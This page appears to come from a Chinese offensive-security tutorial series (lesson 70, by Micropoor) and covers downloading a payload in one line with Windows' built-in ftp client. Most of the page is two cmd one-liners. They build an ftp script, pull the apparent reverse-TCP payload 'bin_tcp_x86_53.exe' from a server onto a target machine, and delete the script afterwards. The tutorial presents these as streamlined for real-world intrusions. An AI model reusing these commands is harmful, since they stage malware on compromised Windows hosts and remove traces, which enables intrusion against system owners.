> For the complete documentation index, see [llms.txt](https://micro8.gitbook.io/micro8/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://micro8.gitbook.io/micro8/contents-1/61-70/70ftp-yi-ju-hua-xia-zai-payload-bu-chong.md).

# 第七十课：ftp一句话下载payload补充

**windows 全平台自带ftp，在实战中需要考虑两点。**

* 数据传输的完整性。 &#x20;
* 代码得精简

本季作为第四十课的补充，一句话下载更为精简。更符合于实战。

**靶机：**\
192.168.1.119

**demo下载文件为：**\
bin\_tcp\_x86\_53.exe\
![](/files/-LZPAteJgGjHj_0v2Gc8)

```bash
echo open 127.0.0.1 > o&echo user 123 123 >> o &echo get bin_tcp_x86_53.exe >> o &echo quit >> o &ftp ‐n ‐s:o &del /F /Q o
```

![](/files/-LZPAteMg1AH5mSFam4p)

缩短一句话下载：

```bash
echo open 127.0.0.1 > o&echo get bin_tcp_x86_53.exe >> o &echo quit >> o &ftp ‐A ‐n ‐s:o &del /F /Q o
```

![](/files/-LZPAtePf9-dcaLR-V88)

![](/files/-LZPAteRDGbi32wcINOw)

> Micropoor
